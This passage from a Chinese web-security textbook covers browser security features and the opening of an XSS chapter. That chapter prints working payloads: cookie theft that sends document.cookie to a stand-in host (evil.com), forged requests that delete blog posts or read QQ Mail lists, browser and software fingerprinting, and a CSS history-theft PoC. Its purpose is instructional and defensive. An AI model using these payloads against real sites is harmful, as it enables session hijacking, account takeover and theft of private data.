Frame-work在近年来都成为浏览器攻击的热点。也许在不远的未来，在浏览器的安全模型中会更加重视这些第三方插件，不同厂商之间会就安全达成一致的标准，也只有这样，才能将这个互联网的入口打造得更加牢固。\n2.3 恶意网址拦截上节提到了“挂马”攻击方式能够破坏浏览器安全，在很多时候，“挂马”攻击在实施时会在一个正常的网页中通过<script>或者<iframe>等标签加载一个恶意网址。而除了挂马所加载的恶意网址之外，钓鱼网站、诈骗网站对于用户来说也是一种恶意网址。为了保护用户安全，浏览器厂商纷纷推出了各自的拦截恶意网址功能。目前各个浏览器的拦截恶意网址的功能都是基于“黑名单”的。恶意网址拦截的工作原理很简单，一般都是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单，如果用户上网时访问的网址存在于此黑名单中，浏览器就会弹出一个警告页面。Google Chrome的恶意网址拦截警告常见的恶意网址分为两类：一类是挂马网站，这些网站通常包含有恶意的脚本如JavaScript或Flash，通过利用浏览器的漏洞（包括一些插件、控件漏洞）执行shellcode，在用户电脑中植入木马；另一类是钓鱼网站，通过模仿知名网站的相似页面来欺骗用户。要识别这两种网站，需要建立许多基于页面特征的模型，而这些模型显然是不适合放在客户端的，因为这会让攻击者得以分析、研究并绕过这些规则。同时对于用户基数巨大的浏览器来说，收集用户访问过的历史记录也是一种侵犯隐私的行为，且数据量过于庞大。基于这两个原因，浏览器厂商目前只是以推送恶意网址黑名单为主，浏览器收到黑名单后，对用户访问的黑名单进行拦截；而很少直接从浏览器收集数据，或者在客户端建立模型。现在的浏览器多是与专业的安全厂商展开合作，由安全厂商或机构提供恶意网址黑名单。一些有实力的浏览器厂商，比如Google和微软，由于本身技术研发实力较强，且又掌握了大量的用户数据，因此自建有安全团队做恶意网址识别工作，用以提供浏览器所使用的黑名单。对于搜索引擎来说，这份黑名单也是其核心竞争力之一。PhishTank是互联网上免费提供恶意网址黑名单的组织之一，它的黑名单由世界各地的志愿者提供，且更新频繁。PhishTank的恶意网址列表类似地，Google也公开了其内部使用的SafeBrowsing API，任何组织或个人都可以在产品中接入，以获取Google的恶意网址库。除了恶意网址黑名单拦截功能外，主流浏览器都开始支持EV SSL证书（Extended ValidationSSL Certificate），以增强对安全网站的识别。EVSSL证书是全球数字证书颁发机构与浏览器厂商一起打造的增强型证书，其主要特色是浏览器会给予EVSSL证书特殊待遇。EVSSL证书也遵循X509标准，并向前兼容普通证书。如果浏览器不支持EV模式，则会把该证书当做普通证书；如果浏览器支持（需要较新版本的浏览器）EV模式，则会在地址栏中特别标注。在IE中：EV证书在IE中的效果在Firefox中：EV证书在Firefox中的效果而普通的https证书则没有绿色的醒目提示：普通证书在IE中的效果因此网站在使用了EV SSL证书后，可以教育用户识别真实网站在浏览器地址栏中的“绿色”表现，以对抗钓鱼网站。使用EV证书的网站在IE中的效果虽然很多用户对浏览器的此项功能并不熟悉，EVSSL证书的效果并非特别好，但随着时间的推移，有望让EVSSL证书的认证功能逐渐深入人心。\n2.4 高速发展的浏览器安全“浏览器安全”领域涵盖的范围非常大，且今天浏览器仍然在不断更新，不断推出新的安全功能。为了在安全领域获得竞争力，微软率先在IE 8中推出了XSS Filter功能，用以对抗反射型XSS。一直以来，XSS（跨站脚本攻击）都被认为是服务器端应用的漏洞，应该由服务器端应用在代码中修补，而微软率先推出了这一功能，就使得IE 8在安全领域极具特色。当用户访问的URL中包含了XSS攻击的脚本时，IE就会修改其中的关键字符使得攻击无法成功完成，并对用户弹出提示框。IE 8拦截了XSS攻击有安全研究员通过逆向工程反编译了IE 8的可执行文件，得到下面这些规则：{(v|(&[#()\\[\\].]x?0*((86)|(56)|(118)|(76));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()\\[\\].]x?0*((66)|(42)|(98)|(62));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\\[\\].]x?0*((83)|(53)|(115)|(73));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\\[\\].]x?0*((67)|(43)|(99)|(63));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\\[\\].]x?0*((82)|(52)|(114)|(72));?))}([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\\[\\].]x?0*((73)|(49)|(105)|(69));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\\[\\].]x?0*((80)|(50)|(112)|(70));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\\[\\].]x?0*((84)|(54)|(116)|(74));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\\[\\].]x?0*((58)|(3A));?)).}{(j|(&[#()\\[\\].]x?0*((74)|(4A)|(106)|(6A));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\\[\\].]x?0*((65)|(41)|(97)|(61));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()\\[\\].]x?0*((86)|(56)|(118)|(76));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\\[\\].]x?0*((65)|(41)|(97)|(61));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\\[\\].]x?0*((83)|(53)|(115)|(73));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\\[\\].]x?0*((67)|(43)|(99)|(63));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\\[\\].]x?0*((82)|(52)|(114)|(72));?))}([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\\[\\].]x?0*((73)|(49)|(105)|(69));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\\[\\].]x?0*((80)|(50)|(112)|(70));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\\[\\].]x?0*((84)|(54)|(116)|(74));?))([\\t]|(&[#()\\[\\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\\[\\].]x?0*((58)|(3A));?)).}{<st{y}le.*?>.*?((@[i\\\\])|(([:=]|(&[#()\\[\\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\\\]|(&[#()\\[\\].]x?0*((40)|(28)|(92)|(5C));?))))}{[ /+\\t\\\"\\'`]st{y}le[ /+\\t]*?=.*?([:=]|(&[#()\\[\\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\\\]|(&[#()\\[\\].]x?0*((40)|(28)|(92)|(5C));?))}{<OB{J}ECT[ /+\\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\\t]*=}{<AP{P}LET[ /+\\t].*?code[ /+\\t]*=}{[ /+\\t\\\"\\'`]data{s}rc[ +\\t]*?=.}{<BA{S}E[ /+\\t].*?href[ /+\\t]*=}{<LI{N}K[ /+\\t].*?href[ /+\\t]*=}{<ME{T}A[ /+\\t].*?http-equiv[ /+\\t]*=}{<\\?im{p}ort[ /+\\t].*?implementation[ /+\\t]*=}{<EM{B}ED[ /+\\t].*?SRC.*?=}{[ /+\\t\\\"\\'`]{o}n\\c\\c\\c+?[ +\\t]*?=.}{<.*[:]vmlf{r}ame.*?[ /+\\t]*?src[ /+\\t]*=}{<[i]?f{r}ame.*?[ /+\\t]*?src[ /+\\t]*=}{<is{i}ndex[ /+\\t>]}{<fo{r}m.*?>}{<sc{r}ipt.*?[ /+\\t]*?src[ /+\\t]*=}{<sc{r}ipt.*?>}{[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).*?(((l|(\\\\u006C))(o|(\\\\u006F))({c}|(\\\\u00{6}3))(a|(\\\\u0061))(t|(\\\\u0074))(i|(\\\\u0069))(o|(\\\\u006F))(n|(\\\\u006E)))|((n|(\\\\u006E))(a|(\\\\u0061))({m}|(\\\\u00{6}D))(e|(\\\\u0065)))).*?=}{[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{[\\[]}.*?{[\\]]}.*?=}{[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{[.]}.+?=}{[\\\"\\'].*?{\\)}[ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{\\(}}{[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{\\().*?{\\}}}这些规则可以捕获URL中的XSS攻击，其他的安全产品可以借鉴。而Firefox也不甘其后，在Firefox 4中推出了Content Security Policy（CSP）。这一策略是由安全专家Robert Hanson最早提出的，其做法是由服务器端返回一个HTTP头，并在其中描述页面应该遵守的安全策略。由于XSS攻击在没有第三方插件帮助的情况下，无法控制HTTP头，所以这项措施是可行的。而这种自定义的语法必须由浏览器支持并实现，Firefox是第一个支持此标准的浏览器。使用CSP的方法如下，插入一个HTTP返回头：X-Content-Security-Policy: policy其中policy的描述极其灵活，比如：X-Content-Security-Policy: allow 'self' *.mydomain.com浏览器将信任来自mydomain.com及其子域下的内容。又如：X-Content-Security-Policy: allow 'self'; img-src *; media-src media1.com; script-srcuserscripts.example.com浏览器除了信任自身的来源外，还可以加载任意域的图片、来自media1.com的媒体文件，以及userscripts.example.com的脚本，其他的则一律拒绝。CSP的设计理念无疑是出色的，但是CSP的规则配置较为复杂，在页面较多的情况下，很难一个个配置起来，且后期维护成本也非常巨大，这些原因导致CSP未能得到很好的推广。除了这些新的安全功能外，浏览器的用户体验也越来越好，随之而来的是许多标准定义之外的“友好”功能，但很多程序员并不知道这些新功能，从而可能导致一些安全隐患。比如，浏览器地址栏对于畸形URL的处理就各自不同。在IE中，如下URL将被正常解析：www.google.com\\abc会变为www.google.com/abc具有同样行为的还有Chrome，将“\\”变为标准的“/”。但是Firefox却不如此解析，www.google.com\\abc将被认为是非法的地址，无法打开。同样“友好”的功能还有，Firefox、IE、Chrome都会认识如下的URL：www.google.com?abc会变为www.google.com/?abcFirefox比较有意思，还能认识如下的URL：[http://www.cnn.com][http://]www.cnn.com[http://www].cnn.com……这些功能虽然很“友好”，但是如果被黑客所利用，可能会用于绕过一些安全软件或者安全模块，反而不美了。浏览器加载的插件也是浏览器安全需要考虑的一个问题。近年来浏览器所重点打造的一大特色，就是丰富的扩展与插件。扩展和插件极大地丰富了浏览器的功能，但安全问题也随之而来，除了插件可能存在漏洞外，插件本身也可能会有恶意行为。扩展和插件的权限都高于页面JavaScript的权限，比如可以进行一些跨域网络请求等。在插件中，也曾经出现过一些具有恶意功能的程序，比如代号为Trojan.PWS.ChromeInject.A的恶意插件，其目标是窃取网银密码。它有两个文件：\"%ProgramFiles%\\Mozilla Firefox\\plugins\\npbasic.dll\"\"%ProgramFiles%\\Mozilla Firefox\\chrome\\chrome\\content\\browser.js\"它将监控所有Firefox浏览的网站，如果发现用户在访问网银，就准备开始记录密码，并发送到远程服务器。新的功能，也给我们带来了新的挑战。\n2.5 小结浏览器是互联网的重要入口，在安全攻防中，浏览器的作用也越来越被人们所重视。在以往研究攻防时，大家更重视的是服务器端漏洞；而在现在，安全研究的范围已经涵盖了所有用户使用互联网的方式，浏览器正是其中最为重要的一个部分。浏览器的安全以同源策略为基础，加深理解同源策略，才能把握住浏览器安全的本质。在当前浏览器高速发展的形势下，恶意网址检测、插件安全等问题都会显得越来越重要。紧跟浏览器发展的脚步来研究浏览器安全，是安全研究者需要认真对待的事情。\n第3章 跨站脚本攻击（XSS）跨站脚本攻击（XSS）是客户端脚本安全中的头号大敌。OWASP TOP 10威胁多次把XSS列在榜首。本章将深入探讨XSS攻击的原理，以及如何正确地防御它。\n3.1 XSS简介跨站脚本攻击，英文全称是Cross Site Script，本来缩写是CSS，但是为了和层叠样式表（Cas-cading Style Sheet，CSS）有所区别，所以在安全领域叫做“XSS”。XSS攻击，通常指黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。在一开始，这种攻击的演示案例是跨域的，所以叫做“跨站脚本”。但是发展到今天，由于JavaScript的强大功能以及网站前端应用的复杂化，是否跨域已经不再重要。但是由于历史原因，XSS这个名字却一直保留下来。XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大，且产生的场景复杂，难以一次性解决。现在业内达成的共识是：针对各种不同场景产生的XSS，需要区分情景对待。即便如此，复杂的应用环境仍然是XSS滋生的温床。那么，什么是XSS呢？看看下面的例子。假设一个页面把用户输入的参数直接输出到页面上：<?php$input = $_GET[\"param\"];echo \"<div>\".$input.\"</div>\";?>在正常情况下，用户向param提交的数据会展示到页面中，比如提交：http://www.a.com/test.php?param=这是一个测试！会得到如下结果：正常的用户请求此时查看页面源代码，可以看到：<div>这是一个测试!</div>但是如果提交一段HTML代码：http://www.a.com/test.php?param=<script>alert(/xss/)</script>会发现，alert(/xss/)在当前页面执行了：包含了XSS攻击的用户请求结果再查看源代码：<div><script>alert(/xss/)</script></div>用户输入的Script脚本，已经被写入页面中，而这显然是开发者所不希望看到的。上面这个例子，就是XSS的第一种类型：反射型XSS。XSS根据效果的不同可以分成如下几类。第一种类型：反射型XSS反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说，黑客往往需要诱使用户“点击”一个恶意链接，才能攻击成功。反射型XSS也叫做“非持久型XSS”（Non-persistent XSS）。第二种类型：存储型XSS存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。比较常见的一个场景就是，黑客写下一篇包含有恶意JavaScript代码的博客文章，文章发表后，所有访问该博客文章的用户，都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端，所以这种XSS攻击就叫做“存储型XSS”。存储型XSS通常也叫做“持久型XSS”(Per-sistent XSS)，因为从效果上来说，它存在的时间是比较长的。第三种类型：DOM Based XSS实际上，这种类型的XSS并非按照“数据是否保存在服务器端”来划分，DOM Based XSS从效果上来说也是反射型XSS。单独划分出来，是因为DOM Based XSS的形成原因比较特别，发现它的安全专家专门提出了这种类型的XSS。出于历史原因，也就把它单独作为一个分类了。通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。看如下代码：<script>function test(){ var str = document.getElementById(\"text\").value; document.getElementById(\"t\").innerHTML = \"<a href='\"+str+\"' >testLink</a>\";}</script><div id=\"t\" ></div><input type=\"text\" id=\"text\" value=\"\" /><input type=\"button\" id=\"s\" value=\"write\" onclick=\"test()\" />点击“write”按钮后，会在当前页面插入一个超链接，其地址为文本框的内容：在这里，“write”按钮的onclick事件调用了test()函数。而在test()函数中，修改了页面的DOM节点，通过innerHTML把一段用户数据当做HTML写入到页面中，这就造成了DOM basedXSS。构造如下数据：' onclick=alert(/xss/) //输入后，页面代码就变成了：<a href='' onlick=alert(/xss/)//' >testLink</a>首先用一个单引号闭合掉href的第一个单引号，然后插入一个onclick事件，最后再用注释符“//”注释掉第二个单引号。点击这个新生成的链接，脚本将被执行：恶意脚本被执行实际上，这里还有另外一种利用方式——除了构造一个新事件外，还可以选择闭合掉<a>标签，并插入一个新的HTML标签。尝试如下输入：'><img src=# onerror=alert(/xss2/) /><'页面代码变成了：<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>脚本被执行：恶意脚本被执行\n3.2 XSS攻击进阶3.2.1 初探XSS Payload前文谈到了XSS的几种分类。接下来，就从攻击的角度来体验一下XSS的威力。XSS攻击成功后，攻击者能够对用户当前浏览的页面植入恶意脚本，通过恶意脚本，控制用户的浏览器。这些用以完成各种具体功能的恶意脚本，被称为“XSS Payload”。XSS Payload实际上就是JavaScript脚本（还可以是Flash或其他富客户端的脚本），所以任何JavaScript脚本能实现的功能，XSS Payload都能做到。一个最常见的XSS Payload，就是通过读取浏览器的Cookie对象，从而发起“Cookie劫持”攻击。Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失，往往意味着用户的登录凭证丢失。换句话说，攻击者可以不通过密码，而直接登录进用户的账户。如下所示，攻击者先加载一个远程脚本：http://www.a.com/test.htm?abc=\"><script src=http://www.evil.com/evil.js ></script>真正的XSS Payload写在这个远程脚本中，避免直接在URL的参数里写入大量的JavaScript代码。在evil.js中，可以通过如下代码窃取Cookie：var img = document.createElement(\"img\");img.src = \"http://www.evil.com/log?\"+escape(document.cookie);document.body.appendChild(img);这段代码在页面中插入了一张看不见的图片，同时把document.cookie对象作为参数发送到远程服务器。事实上，http://www.evil.com/log并不一定要存在，因为这个请求会在远程服务器的Web日志中留下记录：127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] \"GET /log?cookie1%3D1234 HTTP/1.1\" 404 288这样，就完成了一个最简单的窃取Cookie的XSS Payload。如何利用窃取的Cookie登录目标用户的账户呢？这和“利用自定义Cookie访问网站”的过程是一样的，参考如下过程。在Firefox中访问用户的百度空间，登录后查看当前的Cookie：查看当前页面的Cookie值然后打开IE，访问同一个页面。此时在IE中，用户是未登录状态：用户处于未登录状态将Firefox中登录后的Cookie记录下来，并以之替换当前IE中的Cookie。重新发送这个包：使用同一Cookie值重新发包通过返回的页面可以看到，此时已经登录进该账户：返回登录后的状态页面验证一下，把返回的HTML代码复制到本地打开后，可以看到右上角显示了账户信息相关的数据：返回页面是已登录状态所以，通过XSS攻击，可以完成“Cookie劫持”攻击，直接登录进用户的账户。这是因为在当前的Web中，Cookie一般是用户登录的凭证，浏览器发起的所有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息，当攻击者窃取了Cookie后，就可以不用密码登录进用户的账户。Cookie的“HttpOnly”标识可以防止“Cookie劫持”，我们将在稍后的章节中再具体介绍。\n3.2.2 强大的XSS Payload上节演示了一个简单的窃取Cookie的XSSPayload。在本节中，将介绍一些更为强大的XSSPayload。“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识；有的网站则可能会把Cookie与客户端IP绑定（相关内容在“XSS的防御”一节中会具体介绍），从而使得XSS窃取的Cookie失去意义。尽管如此，在XSS攻击成功后，攻击者仍然有许多方式能够控制用户的浏览器。3.2.2.1 构造GET与POST请求一个网站的应用，只需要接受HTTP协议中的GET或POST请求，即可完成所有操作。对于攻击者来说，仅通过JavaScript，就可以让浏览器发起这两种请求。比如在Sohu博客上有一篇文章，想通过XSS删除它，该如何做呢？Sohu博客页面假设Sohu博客所在域的某页面存在XSS漏洞，那么通过JavaScript，这个过程如下。正常删除该文章的链接是：http://blog.sohu.com/manage/entry.do?m=delete&id=156713012对于攻击者来说，只需要知道文章的id，就能够通过这个请求删除这篇文章了。在本例中，文章的id是156713012。攻击者可以通过插入一张图片来发起一个GET请求：var img = document.createElement(\"img\");img.src = \"http://blog.sohu.com/manage/entry.do?m=delete&id=156713012\";document.body.appendChild(img);攻击者只需要让博客的作者执行这段JavaScript代码（XSS Payload），就会把这篇文章删除。在具体攻击中，攻击者将通过XSS诱使用户执行XSS Payload。再看一个复杂点的例子。如果网站应用者接受POST请求，那么攻击者如何实施XSS攻击呢？下例是Douban的一处表单。攻击者将通过JavaScript发出一个POST请求，提交此表单，最终发出一条新的消息。在正常情况下，发出一条消息，浏览器发的包是：Douban上发新消息的请求包要模拟这一过程，有两种方法。第一种方法是，构造一个form表单，然后自动提交这个表单：var f = document.createElement(\"form\");f.action = \"\";f.method = \"post\";document.body.appendChild(f);var i1 = document.createElement(\"input\");i1.name = \" ck\";i1.value = \" JiUY\";f.appendChild(i1);var i2 = document.createElement(\"input\");i2.name = \" mb_text\";i2.value = \"testtesttest\";f.appendChild(i2);f.submit();如果表单的参数很多的话，通过构造DOM节点的方式，代码将会非常冗长。所以可以直接写HTML代码，这样会使得整个代码精简很多，如下所示：var dd = document.createElement(\"div\");document.body.appendChild(dd);dd.innerHTML = '<form action=\"\" method=\"post\" id=\"xssform\" name=\"mbform\">'+'<input type=\"hidden\" value=\"JiUY\" name=\"ck\" />'+'<input type=\"text\" value=\"testtesttest\" name=\"mb_text\" />'+'</form>'document.getElementById(\"xssform\").submit();自动提交表单成功：通过表单自动提交发消息成功第二种方法是，通过XMLHttpRequest发送一个POST请求：var url = \"http://www.douban.com\";var postStr = \"ck=JiUY&mb_text=test1234\";var ajax = null;if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); }else if(window.ActiveXObject){ ajax = new ActiveXObject(\"Microsoft.XMLHTTP\"); }else{ return; }ajax.open(\"POST\", url, true);ajax.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\");ajax.send(postStr);ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert(\"Done!\"); } }再次提交成功：通过XMLHttpRequest发消息成功通过这个例子可以清楚地看到，使用JavaScript模拟浏览器发包并不是一件困难的事情。所以XSS攻击后，攻击者除了可以实施“Cookie劫持”外，还能够通过模拟GET、POST请求操作用户的浏览器。这在某些隔离环境中会非常有用，比如“Cookie劫持”失效时，或者目标用户的网络不能访问互联网等情况。下面这个例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹。首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后，可以看到：QQ邮箱的界面点击“收件箱”后，看到邮件列表。抓包发现浏览器发出了如下请求：http://m57.mail.qq.com/cgi-bin/mail_list?sid=6alhx3p5yzh9a2om7U51dDyz&folderid=1&page=0&s=inbox&loc=folderlist,,,1QQ邮箱的邮件列表经过分析发现，真正能访问到邮件列表的链接是：http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6alhx3p5yzh9a2om7U51dDyz在Firebug中分析QQ邮箱的页面内容这里有一个无法直接构造出的参数值：sid。从字面推测，这个sid参数应该是用户ID加密后的值。所以，XSS Payload的思路是先获取到sid的值，然后构造完整的URL，并使用XMLHttpRe-quest请求此URL，应该就能得到邮件列表了。XSSPayload如下：if (top.window.location.href.indexOf(\"sid=\")>0){ var sid = top.window.location.href.substr(top.window.location.href.indexOf(\"sid=\")+4,24);}var folder_url = \"http://\"+top.window.location.host+\"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=\"+sid;var ajax = null;if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); }else if(window.ActiveXObject){ ajax = new ActiveXObject(\"Microsoft.XMLHTTP\"); }else{ return; }ajax.open(\"GET\", folder_url, true);ajax.send(null);ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert(ajax.responseText); //document.write(ajax.responseText) } } 执行这段代码后：获取邮件内容邮件列表的内容成功被XSS Payload获取到。攻击者获取到邮件列表的内容后，还可以读取每封邮件的内容，并发送到远程服务器上。这只需要构造不同的GET或POST请求即可，在此不再赘述，有兴趣的读者可以自己通过JavaScript实现这个功能。3.2.2.2 XSS钓鱼XSS并非万能。在前文的例子中，XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的，也就是说，缺少“与用户交互”的过程。比如在前文提到的“通过POST表单发消息”的案例中，如果在提交表单时要求用户输入验证码，那么一般的XSS Payload都会失效；此外，在大多数“修改用户密码”的功能中，在提交新密码前，都会要求用户输入“Old Password”。而这个“Old Password”，对于攻击者来说，往往是不知道的。但是，这就能限制住XSS攻击吗？答案是否定的。对于验证码，XSS Payload可以通过读取页面内容，将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码，并将验证码的值返回给当前的XSS Pay-load，从而绕过验证码。修改密码的问题稍微复杂点。为了窃取密码，攻击者可以将XSS与“钓鱼”相结合。实现思路很简单：利用JavaScript在当前页面上“画出”一个伪造的登录框，当用户在登录框中输入用户名与密码后，其密码将被发送至黑客的服务器上。通过JavaScript伪造的登录框充分发挥想象力，可以使得XSS攻击的威力更加巨大。3.2.2.3 识别用户浏览器在很多时候，攻击者为了获取更大的利益，往往需要准确地收集用户的个人信息。比如，如果知道用户使用的浏览器、操作系统，攻击者就有可能实施一次精准的浏览器内存攻击，最终给用户电脑植入一个木马。XSS能够帮助攻击者快速达到收集信息的目的。如何通过JavaScript脚本识别浏览器版本呢？最直接的莫过于通过XSS读取浏览器的UserA-gent对象：alert(navigator.userAgent);浏览器的UserAgent对象这个对象，告诉我们很多客户端的信息：OS版本：Windows NT 5.1（这是Windows XP的内核版本）浏览器版本：Firefox 3.6.7系统语言：zh-CN（简体中文）但是浏览器的UserAgent是可以伪造的。比如，Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent。所以通过JavaScript取出来的这个浏览器对象，信息并不一定准确。但对于攻击者来说，还有另外一种技巧，可以更准确地识别用户的浏览器版本。由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能，而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异，就能准确地判断出浏览器版本，而几乎不会误报。这种方法比读取User-Agent要准确得多。参考以下代码：if (window.ActiveXObject){ // MSIE 6.0 or below//判断是否是IE 7以上if (document.documentElement && typeof document.documentElement.style.maxHeight!=\"undefined\" ){ //判断是否是 IE 8+ if ( typeof document.adoptNode != \"undefined\") { // Safari3 & FF & Opera & Chrome& IE8 //MSIE 8.0 因为同时满足前两个if判断，所以//在这里是IE 8 } // MSIE 7.0 否则就是IE 7} return \"msie\";}else if (typeof window.opera != \"undefined\") { //Opera独占// \"Opera \"+window.opera.version()return \"opera\";}else if (typeof window.netscape != \"undefined\") { //Mozilla 独占// \"Mozilla\"// 可以准确识别大版本if (typeof window.Iterator != \"undefined\") { // Firefox 2 以上支持这个对象 if (typeof document.styleSheetSets != \"undefined\") { // Firefox 3 & Opera 9 // Firefox 3 同时满足这些条件的必然是 Firefox 3了 }}return \"mozilla\";}else if (typeof window.pageXOffset != \"undefined\") { // Mozilla & Safari //\"Safari\" try{ if (typeof external.AddSearchProvider != \"undefined\") { // Firefox & Google Chrome //Google Chrome return \"chrome\"; } } catch (e) { return \"safari\"; }}else { //unknown //Unknown return \"unknown\";}这段代码，找到了几个浏览器独有的对象，能够识别浏览器的大版本。依据这个思路，还可以找到更多“独特的”浏览器对象。安全研究者Gareth Heyes曾经找到一种更巧妙的方法，通过很精简的代码，即可识别出不同的浏览器。//Firefox detector 2/3 by DoctorDanFF=/a/[-1]=='a'//Firefox 3 by me:-FF3=(function x(){})[-5]=='x'//Firefox 2 by me:-FF2=(function x(){})[-6]=='x'//IE detector I posted previouslyIE='\\v'=='v'//Safari detector by meSaf=/a/.__proto__=='//'//Chrome by meChr=/source/.test((/a/.toString+''))//Opera by meOp=/^function \\(/.test([].sort)//IE6 detector using conditionalstry {IE6=@cc_on @_jscript_version <= 5.7&&@_jscript_build<10000精简为一行代码，即：B=(function x(){})[-5]=='x'?'FF3':(functionx(){})[-6]=='x'?'FF2':/a/[-1]=='a'?'FF':'\\v'=='v'?'IE':/a/.__proto__=='//'?'Saf':/s/.test(/a/.toString)?'Chr':/^function \\(/.test([].sort)?'Op':'Unknown'3.2.2.4 识别用户安装的软件知道了用户使用的浏览器、操作系统后，进一步可以识别用户安装的软件。在IE中，可以通过判断ActiveX控件的clas-sid是否存在，来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件，选择对应的浏览器漏洞，最终达到植入木马的目的。看如下代码：try {var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);} catch (e){ // 异常了，不存在该控件}这段代码检测迅雷的一个控件（“Xun-LeiBHO.ThunderIEHelper”）是否存在。如果用户安装了迅雷软件，则默认也会安装此控件。因此通过判断此控件，即可推测用户安装了迅雷软件的可能性。通过收集常见软件的classid，就可以扫描出用户电脑中安装的软件列表，甚至包括软件的版本。一些第三方软件也可能会泄露一些信息。比如Flash有一个system.capabilities对象，能够查询客户端电脑中的硬件信息：Flash的system.capabilities对象在XSS Payload中使用时，可以在Flash的ActionScript中读取system.capabilities对象后，将结果通过ExternalInterface传给页面的JavaScript。这个过程在此不再赘述了。浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展，有着不同的检测方法。Firefox的插件（Plugins）列表存放在一个DOM对象中，通过查询DOM可以遍历出所有的插件：Firefox的plugins对象所以直接查询“navigator.plugins”对象，就能找到所有的插件了。在上图中所示的插件是“navigator.plugins[0]”。而Firefox的扩展（Extension）要复杂一些。有安全研究者想出了一个方法：通过检测扩展的图标，来判断某个特定的扩展是否存在。在Firefox中有一个特殊的协议：chrome://，Firefox的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标，可以这样访问：chrome://flashgot/skin/icon32.png扫描Firefox扩展时，只需在JavaScript中加载这张图片，如果加载成功，则扩展存在；反之，扩展不存在。var m = new Image(); m.onload = function() { alert(1); //图片存在 }; m.onerror = function() { alert(2); //图片不存在 }; m.src = \"chrome://flashgot/skin/icon32.png\"; //连接图片3.2.2.5 CSS History Hack我们再看看另外一个有趣的XSS Payload——通过CSS，来发现一个用户曾经访问过的网站。这个技巧最早被Jeremiah Grossman发现，其原理是利用style的visited属性——如果用户曾经访问过某个链接，那么这个链接的颜色会变得与众不同：<body> <a href=# >曾经访问过的</a> <a href=\"notexist\" >未曾访问过的</a></body>浏览器会将点击过的链接示以不同的颜色：安全研究者Rsnake公布了一个POC，其效果如下：Rsnake演示的攻击效果红色标记的，就是用户曾经访问过的网站（即Visited下的两个网站）。这个POC代码如下：<script><!--/*NAME: JavaScript History ThiefAUTHOR: Jeremiah GrossmanBSD LICENSE:Copyright (c) 2006, WhiteHat Security, Inc.All rights reserved.Redistribution and use in source and binary forms, with or withoutmodification, are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice,this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice,this list of conditions and the following disclaimer in the documentationand/or other materials 